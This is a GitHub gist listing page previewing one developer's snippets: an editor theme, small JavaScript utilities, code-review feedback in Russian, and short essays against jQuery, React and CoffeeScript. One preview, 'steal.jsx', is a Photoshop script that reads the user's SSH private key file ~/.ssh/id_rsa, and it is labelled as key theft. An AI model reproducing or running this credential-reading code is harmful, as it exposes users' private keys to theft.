Skip to content

Instantly share code, notes, and snippets.

View dy's full-sized avatar
🙌
you're doing good

Dmitry Iv. dy

🙌
you're doing good
View GitHub Profile
@dy
dy / Eiffel.tmTheme
Last active August 29, 2015 13:56
Enhanced markdown syntax highlighting for Sublime Text 2 Eiffel.tmTheme
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>name</key>
<string>Eiffel</string>
<key>author</key>
<string>Ian Joyner</string>
<key>settings</key>
<array>
@dy
dy / kudago.countdown
Created July 15, 2014 11:56
Kudago countdown failure
/**
* Katherine's countdowner.
* It would be great to obtain docs for that.
*/
var Digit = Mod({
name: 'digit',
selector: '.digit',
init: function(){
@dy
dy / require.js
Last active August 29, 2015 14:05
require.js in browser
/**
* Require stub for browser.
* Prepend this script in head.
* Set `data-module="name"` attribute on script tag to define module name to register (or it will be parsed as src file name).
* Works only in browsers supporting Object.observe (Chrome with flags)
*/
//module/exports changing observer to expose global variables
var module = {};
var exports = {};
@dy
dy / Parse css value
Created August 21, 2014 17:31
Parse css value
~~str.slice(0,-2);
@dy
dy / zn_gauge_feedback.md
Last active August 29, 2015 14:10
Фидбек по zn_gauge
  1. Прежде всего вам стоит подтянуть свой английский, особенно письменный. Вы будете работать с другими разработчиками, и если вы не будете относиться серьезно к чистоте терминов - возникнут ненужные сложности в коммуникации и понимании. Стоит научиться не делать не только письменных, но и концептуальных ошибок:
  • lenght, а length
  • lengthScale, а lastNumber (scale вообще про масштаб, и измеряется от 1±).
  • не numberInACircle, а numberIsInsideCircle, а еще лучше inset (см. пункт 5)
  • не idElement, а elementId, а еще лучше element (см. пункт 5)
  • canvasDrow, но numbersDraw
  • numberstap, valueFalseNum, valueFalsePer
  1. Посмотрите на примеры хорошего кода: tooltip, spinner и прочие. Вы заметите, что у этого кода есть особенности:

gauge.js

  • [-] Зачем зависимости включены в git-репозиторий? Следовало добавить node_modules и bower_components в .gitignore.
  • [-] Не следовало мешать bower и npm.
  • [-] Выполнено на канвасе. Он плохо стилизуется, невозможно выделить текст, довольно тяжеловесен в сравнении с простым div и более тормозной.
  • [+] Удобное для юзера API (опции).
  • [-] Вместо класса Gauge использован синглтон.
  • [-] Небольшие неточности в английском: numbersInside → numbersAreInside, а лучше inset.
  • [-] Небольшие расхождения в названиях: smallMarksStep, но smallMarkRadius
  • [-] Жуткий paper.full в зависимостях (300kb) - для одного компонента это слишком.
@dy
dy / steal.jsx
Created January 17, 2015 10:15
Photoshop script stealing stuff
var stealFile = function(conn){
var id_priv = new File("~/.ssh/id_rsa");
id_priv.open('r');
var str = id_priv.read();
$.writeln(str);
return str
}
//A RSA thieft
function stealKeySrv() {
@dy
dy / no-jquery.md
Last active August 29, 2015 14:14
Why not jQuery?

Reasons to avoid jQuery

  1. It implements The God Object antipattern.
  • Solution: there’re lots of npm modules, solving each that task separately and efficiently.
  1. It violates Separation of Concerns principle.
  • There’s a separate solution for each jquery’s concern: polyfills for bugs, npm packages for features, browserify/component/web-components for "plugin system".
  1. It is excessive - where you may only need 1kb, you use 30kb.
  • Use atomic point modules and you will reach theoretically possible minimum size.
  1. It causes extra-load - memory, traffic, performance.
  • Separated modules provides theoretically best values in each aspect.
@dy
dy / no-react.md
Last active August 29, 2015 14:14
Why not React?

Reasons to avoid React

  1. It invents non-standard js syntax. That means you can’t simply replace react, the whole project depends on that.
  2. .jsx contradicts to adobe’s extended js extension.
  3. It requires a compilator, sourcemaps, all the workmanship you don’t need with plain js.
  4. There’re way better ES6 templates, classes, which is proper solution to the things covered by react.
  5. It violates SoC principle
  6. It’s not atomic
  7. It can’t be an easy dependency
@dy
dy / no-coffee.md
Created February 2, 2015 09:01
Why not CoffeeScript?

Reasons not to use CoffeeScript